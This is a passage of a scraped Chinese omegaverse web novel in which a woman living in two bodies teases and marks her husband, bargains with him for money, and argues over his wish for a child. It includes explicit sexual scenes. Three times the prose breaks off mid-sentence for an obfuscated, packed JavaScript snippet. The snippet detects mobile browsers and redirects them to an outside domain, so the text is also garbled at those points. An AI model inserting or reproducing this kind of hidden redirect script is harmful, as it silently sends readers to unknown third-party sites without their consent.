在这种没法耽搁的紧锣密鼓里,能抽出半小时的功夫赶到医院来,瞭一眼昏睡的妹妹,已经算是余总非常珍视她了。 林奚因顿了顿,又继续说:“周秘书还在外面。” “大晚上的,亏得他还能赶过来,”余见抒咂摸了一句,却瞥见林奚因避开的晦暗视线,忽然来了点戏弄他的兴头,故意咬着林奚因的耳朵边说,“这么刻意提他,难不成……你吃醋啦?” “没……”林奚因否认,却在一晃神之间被余见抒掀过来,摁在了阳台边。 后背悬空,后腰膈着冷硬的铁质扶栏,面前是妻主Alpha的胸膛,她的锁骨,她有力的臂膀,肌肉线型流畅,随之而来的威士忌味愈发浓郁,林奚因呼吸紧促了半拍。 余见抒显然压根不管他怎么回应,占据了主导权说:“我给你做的标记还差一半吧?” 林奚因身体不自禁颤抖了一下,他连忙捂住自己的后脖颈:“别。” 可惜这次余见抒学聪明了,有了过肩摔的教训,她率先钳制住了林奚因的手臂,以绝对力量差的性别优势把他的两根胳膊都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766667|174631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反捆到身后去。 她轻轻一抽,扯散了林奚因的领带,然后熟练地将他的手腕在腰后束缚起来。 行云流水的一系列动作做完,余见抒挑眉与他对视:“不反抗了?” 林奚因立刻像被戳中了某种不可告人的心思似的,低下了头颅,耳根浮起殷红。 姑且不论她质疑他反抗的用意,这是否是一种情|趣,他明明从来都没有反抗过她。 静谧的黑夜,四下无人的医院阳台,余见抒将男O拢在怀里,顺理成章地掐了掐林奚因那一杆纤细的劲腰,手感令她满意极了。 “那我可就不客气了?” 话音一落,她笑着龇起虎牙,下了狠劲啃咬而下。 是存了一些泄愤的心思在里面的。 那999朵玫瑰沉甸甸的,一路上狂风糊脸,吹得人眼睛都睁不开,还得紧赶慢赶地急骑十公里,等到了正主跟前,又吃了一记过肩摔。 余见抒这辈子没吃过这种苦,说不迁怒是假的。 再来,余见抒跟他结婚,已经有了三年。今天换了Beta身体接触他,乍然一下感觉分外新鲜。 才知道以前的三年,他全在她面前装出了乖驯雌伏的模样。 而且不光这点,他还会动手反抗,十分强悍地把beta压制在地上。 所以要标记他,且之后不光做到这轻浅的地步,余见抒还想要逐渐更过分一点,不断触碰林奚因的底线,看什么时候能把他的另一面也在「Alpha见抒」面前展现出来。 * 此时此刻,两个人是天鹅交颈的姿态。 余见抒知道这个标记对林奚因意味着什么,要总是分神留意着信息素阻隔贴,跟生理期换卫生巾似的折磨人。 与此同时,在信息素留存的时效内,任何Alpha同事和学生都会对他退避三尺,他妻主宣誓主权的心思在外人面前简直昭然若揭。 一段啃咬下来,信息素随着血液流动至全身,酥麻感无处不在。 林奚因腿都软了。 Alpha的威压无孔不入,极具侵略性地铺天盖地而来,他摇摇欲坠,忍不住心生依赖,于是试探着向余见抒的怀里倾斜身体,至少以为能趁此机会被她拥怀里扶起来一下。 没想到,林奚因落了空,倏然跌坐在地上。 放低了身段,他目光之前,视线所及的就是余见抒修长的双腿,径自迈开。 “对了,”余见抒离开前,特意回头,居高临下地笑望他,“这两天我要回「东湖湾」住一住,你应该不会介意的吧?” 余见英说她回求着林奚因住进「东湖湾」,虽然这会儿上下攻势大相径庭,但事实是应验了的。 林奚因顺从地低下了头,额头前的碎发在光线下洒落了阴影,遮掩住他眼底的窃喜:“我在家等你。” 可惜余见抒没有看见,她顾自转身,去打趣在门口站岗的周秘书。 * 周秘书今晚休假,没有借他们总裁吩咐守候的名义,他是刚刚健身完,私下里探到风声才赶过来的。 余见抒见他的时候,他坐在长廊尽头的一个角落,靠着椅背静坐,闭目养神,手里还攥着帮余见抒料理手续的那些单子。 他身上穿的是深黑色的速干背心,运动短裤勾勒出很饱满的臀部线条,显然是来得匆忙。 余见抒想了想,回去拿了件外套出来,往周秘书身上一扔。 “也不怕着凉?” 周秘书挺警觉,立刻就睁眼做起来了,攥着滑落的外套,抬头看她。 “总比某个开20码还能出车祸的蠢货来得强。”周秘书冷飕飕地讽刺她。 8. 24小时洗2个澡吃6顿饭 “倒也没那么慢嘛,”余见抒缓缓笑着说,“就是没比得上咱们周秘书赶过来的快。” 周秘书没跟她嬉皮笑脸,他单手抓着那件衣服,一下子站起来,紧紧地揪住余见抒的病号服衣领。 他一字一句神情认真地对她说:“你知道别人有多担心吗?你平时爱玩就玩,爱上谁的床就上,怎么能拿这种事情开玩笑?” 他口口声声说的别人,实际就是指的他自己。 当初听说余见抒要结婚了的时候,周姚万念俱灰,深夜买醉,躲起来痛哭流涕。 可即使那样,隔天他都还能装得跟没事人似的,遮瑕盖一盖泪痕和和眼圈,收拾得仪表堂堂,容光焕发地去她婚礼上毒嘴,挑她的刺。 然而,生死这种噩耗实在是不太一样了。 一想到余见抒或许就那么轻飘飘的人没了,周姚只觉得心底跟针刺扎了似的,疼得几乎要窒息喘不上来气。 他在健身房已经有氧跑了10公里,接到下属的通知,说余总的妹妹出车祸,总裁临时赶过去,他简直完全不知疲惫的,马不停蹄地冲下楼,开车到医院。 “好了,阿姚。”余见抒偏偏避重就轻,温柔地握住他的手背,就好像是隔了许多年,她在今天才忽然记起来——周秘书本名最初不叫周秘书一样。 “下次我不就懂得惜命了嘛,更何况,”余见抒感受着周秘书攥紧的拳头的力道在慢慢松散开来,顺势指尖伸进他的掌心,塞进他的指缝里,与他十指相扣,就这样引导着牵着人的手轻轻垂落下来,“知道这世界上有一个人这么在意我,我哪儿舍得死啊?” “呵,”周姚冷哼一声,倒是被抚平了似的,不再势拔弩张了,他阴阳怪气道,“在意你的人可多了去了。” “他们都没你有能耐,正好能够帮得上我的忙……”余见抒暗示地冲他眨了眨眼。 在无人的空旷走廊上,两个人已经贴得极近,至少是全然不顾林奚因这个联姻对象随时可能从VIP病房里出来的危险距离。 “钱的事情免提。”周姚斩钉截铁地说。 “当然,不会让你难做的。”余见抒和畅地说,行云流水地顺着他的话往下滑。 周姚抬眼,挑了挑眉筋看她,嘴唇嗫了嗫,忍不住放低了声,委婉说:“……上次赖在我家好几个月还不够吗?” “也没打算缠着你,”余见抒朝身后的病房门努了努嘴,“呐,有林教授收留了。” “那你到底在卖什么关子?”周姚没好气地斥责她,转身作势抬脚说,“不说我可就走了。” “哎,”余见抒顺势拽住他的手臂,陪他演着耍小性子,贴着周秘书的耳朵哄着说,“我有一个玩得好的Beta妹妹,叫简殊,刚满18岁……” “畜生!”周秘书一听,就冷冷地觑她一眼,唾弃说。 “别往那档子事儿想嘛,”余见抒接着娓娓道来,“她高中毕业没多久,忘记报学校了,我看人家高考分数能有个普通水准,就是上英大有点费力,你看……能不能帮我运作一下?算gap一年,正好赶在下学期开学进去,就选林教授他们那块儿的专业。” 林教授是资深宅男,整天东湖湾和实验室两点一线,个别出差也是参加座谈和学术研讨,几乎不常出现在外边餐馆、游乐场和咖啡店等等社交场合。 像「Beta简殊」这种罐头NPC身份,假如一直在社会各行各业的闲散零工里打滚,还妄想能跟林奚因保持每天的稳定接触,那就只能去当食堂阿姨,也就抖勺子的时候说得上两句话。 昨儿一趟送花,顶多算是跟林奚因打了个照面,脸熟认识一下。 得想办法,让「Beta简殊」常驻出现在林奚因身边。 “可以,”周秘书思量了一下,提出条件说,“但你也得答应我,按照林总的安排进公司实习,不许再去花天酒地。” “好说好说,”余见抒大大方方地拍胸脯说,“让我下矿都没问题。” 这么容易就答应了? 周姚诧异地望了她一眼:“她是你什么人?” 进英大,对于一般的刚成年女生而言,这个人情可着实不小。 余见抒从来都是除了玩耍万事不搭理的,能让她特意操心的家伙,一定有什么过人之处。 “我亲自鉴定过的大好人,”余见抒挤眉弄眼地说,“等你见到她自然就知道了。” 余见抒学她哥那样,用一副怀有深意的表情笑了笑,大力拍了拍周秘书。 说话间,她掌心的落点,刚好拍在了周秘书被深色短裤包裹着的翘屁股蛋上,清脆响亮,颇有弹性。 “……”周姚本来忖度着还想问些话出来,这一下彻底被弄得沉默了,只好无奈地用眼刀剜她,看余见抒一惯的轻慢得意的姿态,霎时间又没了脾气。 * 当夜,依照VIP病人、兼集团董事的强烈意愿,医院通融处理、特事特批,火速放余见抒出院。 她上了林奚因的车,一路回了东湖湾,心里惦记着「Beta简殊」的事儿,也是有意想晾一晾林奚因,于是路上都没怎么说话。 回去入了门,忽视林奚因那欲言又止的样子,她随便冲了个澡,就近找了间客房,一沾枕头,人就呼哈大睡。 轮换到这边,「Beta简殊」醒来。 系统:【叮!】 系统:【「Alpha见抒」已休眠,「Beta简殊」启动!】 * 晨光熹微,巡逻的保安刚关了手电筒。 教室里窗户没关,透出一条缝,微凉的风灌进来。 简殊被吹得后脑勺发凉,接着浑身酸痛。 “哎呦。”她扶着腰杆爬起来,实木质的长条板凳真硬,膈得她手肘胳膊都青紫了些。 失策了,当年捐了楼入学进来,她闲游浪荡到处撩学弟学妹,基本连课都没怎么上过,更别说躺一整晚上教室。 这也是「Alpha见抒」没怎么吃过的苦,够新奇的体验。 简殊摁亮了手机屏看时间,琢磨了一下,「Beta简殊」的NPC出租屋里再怎么破烂,好歹也还能有张床,先回去趟会儿再说。 于是,晨7点准,趁着「联邦英大」准许外来访客自由进出的最早节点,简殊骑着小电驴一溜烟窜出去。 原身「Beta简殊」靠送外卖谋生,月薪能挣3k,租了个隔断房的小单间,月租1800,地理位置在中心区郊外的边缘,地铁站都不通。 就这偏僻地方,房租能占薪资的大半,都还算物美价廉的,毕竟联邦首都的地价租价总是非常的不近人情。 简殊事先有做点心里建设,然而等到七拐八绕进了城中村,从几个握手楼里钻出来,按照手机备忘录的提示把小电驴锁在楼下,爬五层狭窄的楼梯,一扭钥匙,门吱呀一下出残破的声响—— 望见眼前一览无余的阴暗房间,她还是叹为观止地长呼了一声。 简殊皮笑肉不笑:【宝贝,这是人住的地方?】 衣柜、冰箱和书桌全挤在一个卧室里,角落拉了个帘子隔起来的几平米里,厨房燃气灶正摆在马桶和洗衣机旁边,挨得像她的余额一样零碎和紧凑。 系统:【您别震惊,世界上有许多Beta们都在将个烂就地活着呢。】 联邦贫富差距大,出身贫微是一层原因,性别差异又是另一层。 在金字塔的最底端,罕有诞生的Alpha和Omega们或许还能凭借着性别优势一飞冲天,换成是Beta,少了Alpha强健的体魄和旺盛的精|力,又不具备Omega优越的外貌条件和聪颖的智慧,只能纯靠一口气憋着往上爬,那就费劲许多了。 类似她哥和周秘书那样的Beta,已经是Beta当中将个人毅力压榨到极致的少数了。 简殊感叹地笑了声:【将个烂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766668|174631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就好啊,我最擅长的就是将个烂就了。】 三年前将个烂就去联姻,结了婚,把林奚因娶进门。 现在将个烂就被系统绑定,赠送一具身体,捣鼓着要钓林奚因出轨离婚。 简殊卸下一身的脏衣服,塞进小油罐一样的单筒洗衣机里,趁着涡轮咕噜咕噜转,站在盖了盖儿的洗衣机旁边,淋浴洗了个战斗澡。 「Beta简殊」与「Alpha见抒」的身体素质相差非常悬殊。 简殊捏了捏自己,泡乎泡乎的触感,浑身上下软软的肉,尤其大臂咯吱窝、小腹游泳圈、大腿内侧的赘肉明显。 而且胃里空空荡荡,咕噜咕噜叫,身体的疲惫催促着,口舌生津,特别想吃点酸甜辣咸的重口味犒劳一下自己。 “原来做Beta是这种感觉的啊。” 简殊立刻点了一顿炸鸡螺蛳粉的外卖,吃完捧着肚子打嗝,爽得冒汗,半点儿都懒得动弹。 她当「Alpha见抒」的时候是稍微有些挑食的。 Alpha的味觉神经更灵敏,但凡多油腻点的,过咸过辣,她都能尝出来,吃重口味的垃圾食品更是齁得慌。 然而Beta们不一样,作为人口数量众多的主要消费群体,外卖快餐简直是为Beta肠胃量身定做的,芝士炸鸡和爆辣螺蛳粉换着吃,甜咸永动机,其乐无穷。 简殊:【那我以后每天24个小时岂不是得洗2个澡吃6顿饭?】 吃3顿香的,再吃3顿淡的,拉2次屎,早晚起卧换4次衣服,日常的45min有氧训练和拉伸也得Double。 系统:【等您练习过协调辅助,学会了同时操控两具身体以后就没这么麻烦了。还有……】 系统停顿了一下,冒昧地提醒道:【Beta吃那么香的话,会很容易长痘的哦。】 话赶话提醒到这一刻,简殊惊讶着捧着一小片折叠镜。 Beta的额头上,一颗红彤彤透亮的,摁起来硬鼓鼓的痘痘,像应验了似的肿起来。 简殊静静地注视着镜子里的红痘,过了好几个呼吸,才轻吐了一声。 “哇。” 自打从记事以来,这是她印象中“自己身上”第一次长痘痘。 * 系统:【叮!】 系统:【「Beta简殊」已休眠,「Alpha见抒」启动!】 鉴于「Beta简殊」躺了一夜冷板凳、洗了个热水澡,还吃了顿饱饭,血糖升高之下,简殊很快挺着鼓包的痘痘,躺平在小出租屋的床上昏昏欲睡。 差不多上午11点,东湖湾。 艳阳高照,微风拂过,整个湾上水浪粼粼的波光,反射一道道纹理,映进了窗台边。 余见抒一挺腰,在松软的床上弹起来,浑身都是轻盈的,仿佛在「Beta简殊」那儿体会到的一种沉甸甸的负重感一扫而空。 普通Beta这样容易疲惫,湿气重,没塑型过的耙肉累赘得慌,也难怪那些Beta总自怨自艾说意志力不够,其实性别体质就这样,容易无精打采也是情有可原的。 这样想着,余见抒没打算苛求自己,倒是昏暗的房间里,耳畔边传来“嚓啦”一声。 余见抒望向窗台那里,清俊的男人手里握着帘幕,与她对视之间,稍显尴尬。 余见抒好整以暇地看着他。 良久,林奚因才打破僵局,淡淡地陈述了一声:“你醒了。” 窗帘缝儿太大,有光透进来,他怕影响到余见抒,所以才小心翼翼地挪步进来,试图把缝隙拉严。 可是中途看见余见抒的睡颜,屋子里又那么沉静,只有她平稳绵长的呼吸。 林奚因不由看得入神了,俯身蹲在床的边沿,用视线描摹她胸膛起伏的弧度。 直到余见抒一醒,他慌乱之下起来,像是掩耳盗铃似的去假装拉窗帘。 就成了这样的景象。 9. 我想要个孩子 “嗯,”余见抒应了声,倒跟稀松平常似的,冲他摇了摇手,还狡黠地一眨眼问他,“来偷袭呀?” "过来。" 她一抬手,林奚因当然就被招过去了。 然而他只是上前了几步,踌躇了片刻,到底没吭声,显然并不擅长接这种俏皮话。 余见抒不恼反笑,轻声说:“再过来一点。” 除了这位妻主,断然没有别人敢对林奚因这样随意支使,然而只需要她用浅浮的口吻那么唤上一声,像吹起一片羽毛似的,林奚因就飘飘然飞过去了。 “砰!” 余见抒长臂一伸,拉着人一拽,就倒翻过来,把林奚因摁在床上。 林奚因猝不及防的,只能仰面看着她,至少呼吸是急促了些。 余见抒一手俯撑在他脸侧,观察他的神情,歪了歪脑袋问:“就没什么话想说的吗?” 像是被这一声惊了似的,林奚因立刻侧过脸,抬起手臂用手背挡住眉骨,视线无聚焦地落在床角边晦暗的一隅上,避免与她对视。 像是闷着嗓子似的,林奚因低声说:“饭……已经好了。” “是你亲手做的?”余见抒毫不客气地扯开他的手臂,压在他头顶心正上方,“遮着眼睛做什么,怕我非礼你?” 倒是也不反抗。 “没,”林奚因躲无可躲,只能垂眸,温驯地陈述说,“您是妻主,您可以对我做任何你想做的事。” “这种时候倒是乖巧。” 比起在英大对「Beta简殊」那个干脆利落的过肩摔,林奚因现在简直可以称之为羞怯。 余见抒慢慢俯低了身,靠近,再靠近一点。 直到林奚因感受到她温热的呼吸,闭上了眼,心脏的跳动声怎么也藏不住。 砰咚,砰咚…… "……" 在被触碰到的那一瞬间,林奚因浑身都条件反射地轻轻颤了一下。 没有强势的吻,没有意料之中的粗暴行径,林奚因额前细碎的刘海被掀开,额头被一只手掌盖住。 倒不如是说,余见抒细细抚摸他一下,从眉骨到面颊。 她的指腹是很柔软的,摁压时却富有力度,就这样滑过林奚因微凉的肌肤,与其说是在欣赏清冷的艺术品,不如说是在忖度什么。 小一阵子,林奚因听到她开口说:“你……有长过痘吗?” “……” 屋子里是极安静的,偶尔刮起一阵窗外的湖风,有细微的唰唰声。 林奚因愣怔着,为他在那几个呼吸之间的自作多情的误会感到羞愧,稍显尴尬地摇了摇头。 余见抒再问:“一次也没有?” 林奚因莫名:“一次也没有。” 他看余见抒直起腰背,挺着上半身,双腿屈膝还跪在自己的腰侧,那种居高临下的笼罩感反而愈发强烈。 “嗐。”余见抒挠了挠头,丧了兴致似的爬起来。 她要下床离开了,林奚因身上空落落的,心里一慌,赶紧去拉住她的手腕。 “怎么,不是说吃东西吗?”余见抒低头俯视他。 “您……那里……”林奚因犹豫了一阵,不知道怎么措辞才好。 幸好四下光线昏暗,遮掩了他红透的耳朵。 林奚因垂眸,道歉说:“是我表现得不够好。” 余见抒顺势一觑。 Alpha的X欲旺盛,刚醒过来都会这样。 她睡裤鼓着个包,林奚因仰卧起来,隆起的挂件刚好只隔了十公分,差点怼在男O的脸上。 嘿嘿。 “怎么会呢?” 余见抒坏笑,手掌控住林奚因的后脑勺,像提裤子似的把那一张英俊的脸推过来,后臀肌发力往前挺了挺。 这实在是一个极其羞辱的姿势。 不光是肢体语言,她的衣摆、枕头、被褥,处处都是她信息素的味道,那股凌冽的酒精味,刺得林奚因膝盖发麻。 林奚因紧咬的牙关松懈了,慢慢地,他的嘴唇微微张开,头颅顺着余见抒摁压的方向往前。 像是要去舔舐什么,或者只是刚好用牙尖咬到了她睡裤上垂落的一根棉质系带,正要解开。 直到贴近到仅有一张纸那么薄的距离的时候,余见抒一掐他的下巴,把林奚因的脸抬起来。 “哈——”余见抒恶趣味地逗他,“这么馋的啊?” “哗。” 林奚因立刻一下子满面充血,他像受惊了的兔子似的弹起来,撑着床下地要跑开。 “哎,”余见抒反手把他拉回来,拽进怀里,“说你两句情|趣话而已,动静那么大……不是刚才说的,让我想对你做什么就做什么的嘛?” 林奚因都用上“您”的称呼了,这是一贯Omega对Alpha的尊称,余见抒还当他想陪她玩一阵,没想到那么不禁逗。 “不是……我……”林奚因犹豫着想解释,但又仪式难以措辞。 解释什么,解释人前言辞冷峻、不近人情的林教授,在此刻却低眉顺眼地想帮她口?又因为刚才被妻主虚晃一招没能口上,所以才感到羞愤和失落吗? “别老说些拒绝的话,”余见抒哄孩子似的亲了他脸颊一口,“咱俩是夫妻,你见过谁对妻主一口一个‘不’字的?” 林奚因被她的温存迷惑了片刻,诚恳地说:“抱歉,我不会再这样了。” “不会怎么?”余见抒诱导地问,同时加快语速。 林奚因答:“不会拒绝您。” 余见抒问:“哪怕很羞耻?” 林奚因点头:“嗯。” 余见抒笑了:“光‘嗯’可没意思,要抬头,睁大眼睛,好好看着我说。” 林奚因深呼吸,照做,与她对视:“哪怕很羞耻。” “对,”余见抒嘬了他一口,“这不挺会来事儿的嘛。” 林奚因的鼻翼间嗅到了愈发浓郁的信息素香味,像是妻主对她应许的奖励似的。 他不得不感谢余见英学长,两人结婚三年,才终于第一次有了这样独处的机会,他的Alpha妻主甚至在这一刻温存地与他调情。 然而,失望就在下一刻。 余见抒趁着两人热络起来,有意无意地问:“那一会儿,等吃完饭……给我转点儿钱行不?” 林奚因难得被焐热的心,瞬间如坠冰窟。 林奚因后退半步,拉开距离,去酒柜的吧台边倒了杯水。 “又走啊?” 余见抒跟在他身后,快步逼近,然后上半身前倾,先一个接吻,将林奚因嘴里的清水渡走,咽下去,与此同时一手将玻璃杯夺走,又自己灌了半杯。 林奚因被她这幅脸皮厚厚、连吃带拿的样子弄得没脾气了,定定地看着她。 “你也渴啊?怎么不吭声?” 余见抒讨好地帮他重新倒了一杯,见林奚因不接,她干脆原样照旧,自己先含了一口,再亲吻渡进他的嘴里。 生气没事儿呀,只要人给搂搂抱抱,嘴子还能给照亲,那就说明气得还不够,顶多算使小性子。 林奚因被灌水灌得舌头都麻了,到最后,他分不清是在被强迫喝水,还是在被裹挟着跟妻主接吻。 他甚至有些控制不住自己,与她唇舌交缠,怀着好奇的心思去舔舐余见抒的牙,那颗她在嬉皮笑脸的时候经常龇出来的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766669|174631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颗小虎牙,尖锐地刺进他后颈的腺体管。 “够了。”林奚因终于不再冷战,气喘吁吁地喊了停,把玻璃杯接过来握住。 两人这样长时间、深入的舌吻,或许还是第一次。 林奚因原本是在气恼,之后完全被胡搅蛮缠着带进了她的节奏里,简直毫无招架之力。 她到底从哪里学来的,那么多调情的小花招。 “不是说不准备再拒绝我了嘛?”余见抒反倒委屈起来,身为罪魁祸首,毫无反省的意思。 男人的薄唇都被她嘬红了,偏偏说不出什么重话来,被她憋得没法,只好低声说:“你只是想要钱而已。” “是啊,”余见抒坦然地摊了摊手,直视他,“我想要钱,我会直接明说。那你想要什么?” 林奚因沉默了,渐渐思索起来。 “先吃饭吧,”余见抒没兴趣等他想明白,只是轻轻一拍男O的臀部,随性地往外走说,“等填饱肚子再说。” * Alpha生来就有很强的掌控欲,而Omega又有极其猛烈的顺服冲动。 刚才闹了这么一遭,林奚因完全被她牵着鼻子走。 他被压在床上,抬起手臂想挡住眼睛,余见抒偏偏就把他两臂向上拉,扣在头上,逼迫他直视他。 他感到耻辱,想逃避离开,余见抒就硬拽着他,拉到怀里,揉到最近的距离不撒手。 就连他喝杯水,都不能凭自己的意志吞咽,余见抒非要嘴对嘴地渡让。 林奚因所有的惶惑、不知所措,在这些时刻都完全消失了,一扫而空,只剩下足够的安全感。 不需要前思后量,不需要战战兢兢地在乎自己表现得如何,他唯一要做的就是面对她,她会将他的脑海填满,充盈着一切霸道的情绪享受。 哪怕在此刻也是。 餐厅里,林奚因一手捧着碗,一手握着瓷勺,立在桌子旁给余见抒盛汤。 「Alpha见抒」这具身体也饿了大半天了,余见抒胃口大开,每盘菜都夹了上好几筷子,吃得稀里哗啦,边吃边夸厨子。 “手艺真不错啊。” 三菜一汤,荤素小炒菜,凉拌菜,再来一道三鲜汤,清淡了点儿,却恰当好处,满足了Alpha挑剔的味蕾。 余见抒拍了拍鼓囊囊的小肚子,撑着桌面站起来,刚扶了扶腰杆,眼前就端来一杯温热的百香果茶。 真是太贴心了。 林奚因伺候得那么好,偏偏余见抒还琢磨着怎么从他手里挖到钱,然后溜之大吉,这时候都有点儿不好意思了。 余见抒端起果茶,仰头刚喝了一口,就听身侧的男O幽幽地说:“我想要个孩子。” “咕咚——”余见抒把果茶一口吞下去,膈得喉咙都疼了。 林奚因像是深思熟虑过了,坚定地说:“只属于你和我,是我给你生的。” “咳咳,”余见抒讪笑了起来,糊弄道,“那啥,医生不都说了,我不是杀精杀卵了嘛?” 生理功能倒强健得很,该硬就梆硬,不如说是旺盛得太过了,以至于好几任床伴都承受不住。 “所以我会一直盯着你,戒烟戒酒,早睡早起,”林奚因神情认真地说,“你想要钱,我会给你。在我怀孕之前,你愿意做几次,我就给几万。” 当林奚因嘴里吐出“盯”这个字眼的时候,余见抒头皮都发麻了,好像被一条潜伏着的毒蛇挑中了的猎物似的,后脊梁骨发凉。 余见抒挠了挠头,乍然一说:“那我不成卖的了吗?” 她的唧虽然库库能干,但被婚内Omega提出交易,还把劲儿使在挣钱上,总感觉有些奇怪。 10. 例行公事 “夫妻共同财产,我的年薪收入,本来就有一部分属于妻主。”林奚因陈述说。 他在“一部分”这个词上有意无意地轻缓了一些,这句话暗含了一些潜台词—— 钱不是不给,是分批给、按需给、按量给。 这一部分,给多给少都有得商量。 唯一的要求,是要把余见抒拴住了才能给,省得她一卷几百万跑路,直接撒欢飞到帝国找小情儿去了。 “你肯答应给我点儿零花钱用,这当然挺好的,”余见抒委婉地笑了,提了一句,“只不过孩子的事情,咱们可以再考虑一下。” 按照系统派给「Beta简殊」的刷出轨值任务,男主就算要生,也得是跟「Beta简殊」生,作为最终催化感情的关键得分点。 与其他亲密证据不同,临时标记会随着时间流逝变淡,特定易感期时的终身标记能够通过手术进行摘除,而孩子却容不得过上几年再反悔。 打胎时刮宫伤身体暂且不提,婴儿一旦落地,父母就必须得承担照顾抚养的法律义务。 哪怕今后离婚,或吵得再怎么撕破脸皮,双方恨得深入骨髓,也不得不承认这个孩子的存在,ta证明着父母曾经的相爱,是亲密到将彼此的身体融到一起的关系,不可磨灭的印证。 林奚因沉默不语,良久,才冷不丁来一句:“妻主不喜欢孩子吗?” 余见抒一愣:“这倒不是。” 站在性别金字塔的顶端,作为繁衍欲最旺盛的支配者,哪个Alpha不想要自己的小崽子? 反正又不是她生,余见抒只要抖一抖爽爽,再去找老余家要钱养。 她家老爷子老太太,还有她哥,一家三口包管笑得牙不拢嘴,让小家伙在O爹肚子里就能含上金汤勺,接着在举世瞩目的期盼中降临在这个世界。 林奚因又幽幽地问:“那妻主不喜欢我吗?” “怎么会?”余见抒和善地示好。 她还指着林财主给爆金币呢,这种时候当然不能嫌弃。 林奚因沉声说:“那既然妻主既不反感后代,也不讨厌我,就请给我一个怀上您的孩子的机会吧。” 他那么郑重其事,反倒弄得余见抒相形见绌。 这位被尊称的妻主缓下来,还是温和地拍了拍他的肩膀,晓之以理动之以情地说:“你知道的,我这个人实在称不上职去当一个值得托付的好妈咪。” 生孩子又不是拉粑粑,憋股劲儿一用力就通畅了。 胎儿寄居在孕体,10个月300天连轴24小时,伴随着孕体的每一次呼吸,胎心不停地跳动。 腰腹上一坨肥肉都会让人变得懒散不爱动弹,更何况这样不容忽视的存在感。ta会潜移默化地改变人的思想,继而让孕育者变得宽和慈爱,也变得更擅长自己骗自己。 无论如何,孕育者总会惦记起给胚胎授精的另一方。许多孕期出轨的,哪怕对方犯再大的错,孕夫都会给孩子的生母开脱。 林奚因说:“生育和照顾的责任,我都有能力独自承担得起。” “可是……”余见抒自然是半百推脱,语意延伸,尾音拖长,迟迟不给确切的答复,试图找其他话题糊弄过去。 在这种协谈的关键时刻,林奚因却半点不容退让,他带着沉静的姿态,愈发咄咄逼人起来。 “我不会过度跟您要的,每个月例行公事,几次就可以,”林奚因垂眸,不轻不淡地点道,“还是说,妻主这样犹豫,是担心到时候体力会跟不上吗?” 余见抒被他逗笑了:“交交公粮而已,我可没什么挂碍,这种事用激将法不太管用哦。” 林奚因话锋一转,紧了紧下颚,终于还是放出了最后的底牌:“余学长说过,如果你不配合的话,他会负责处理。” 余见抒凉了笑意,难得地眯起了眼,直视他说:“你这是在威胁我?” “不,”视线交汇,林奚因专注地说,“我是在恳求您。” 夫妻结婚三年,两人见面的次数屈指可数,还几乎都是在余见英一手促成的家宴等公众场合,用社交辞令在礼貌地客套,更别提什么在私下里独处,妄想能零星说两句熨帖的话。 林奚因不敢祈求余见抒对他有什么情分,说到底他的爱慕也只是一厢情愿的。 他甚至庆幸于余见抒是一个风流成性的人,只要他相貌、身材能入得了她的眼,就能够被她毫不吝啬地抱上一次。 哪怕是泄愤做的也好,就像三年前新婚夜,她将他翻来覆去地粗暴折腾了的那一回一样。 “真不后悔?”余见抒也是听进心里去了,这时候正色道。 这一句恳求,倒是真弄得有模有样,像眼睛湿漉漉的小狗在哼唧似的,与其说是在祈求挨她操,不如说是在祈祷她给他栓根项圈吧,别抛弃他。 真诚是永远的必杀技。余见抒作为一个博爱的Alpha,自始至终都相当鼓励勇敢的追求者,凭她的性子,这种情形之下怎样都不至于扫兴。 林奚因一字一顿地说:“不后悔。” “哈哈,”余见抒轻盈地笑了,掐了掐林奚因那一张一本正经的脸,“那敢情好,咱俩也没必要谈那种几万块做几次的买卖了,你每次睡完答应我一个条件行不行?” 林奚因思量着,微微颔首,问道:“什么条件?” “谁知道呢?”余见抒在他脸颊上捏出一块软肉来,像恶魔的小惩罚似的,用虎口圈着用牙尖咬了一口,然后暧昧地说,“或许……就只要一个吻呐。” 这一咬,跟恶作剧似的,步步紧逼的男O彻底忽然安抚,主场却又调转重新回到妻主这边。 余见抒也不耐烦再跟Omega逼逼赖赖的了,顺势从正面把林奚因抱起来,手掌颠着他的臀尖,胳膊上架着他的两条腿,把人抱去客厅的沙发上。 * 说起来,「东湖湾」这套婚房,对她跟林奚因这夫妻俩也算有点特殊意义。 三年前,她俩的初夜也是安排在这儿过的。 只不过那时候,出于顾忌两家颜面的考虑,余见抒难得端得个规规矩矩的样儿,正儿八经地把联姻对象抱进卧室里,耐心等着他洗澡,还做足了前戏,该舔的稀里哗啦舔,给林奚因浑身上下都摸得舒舒服服的。 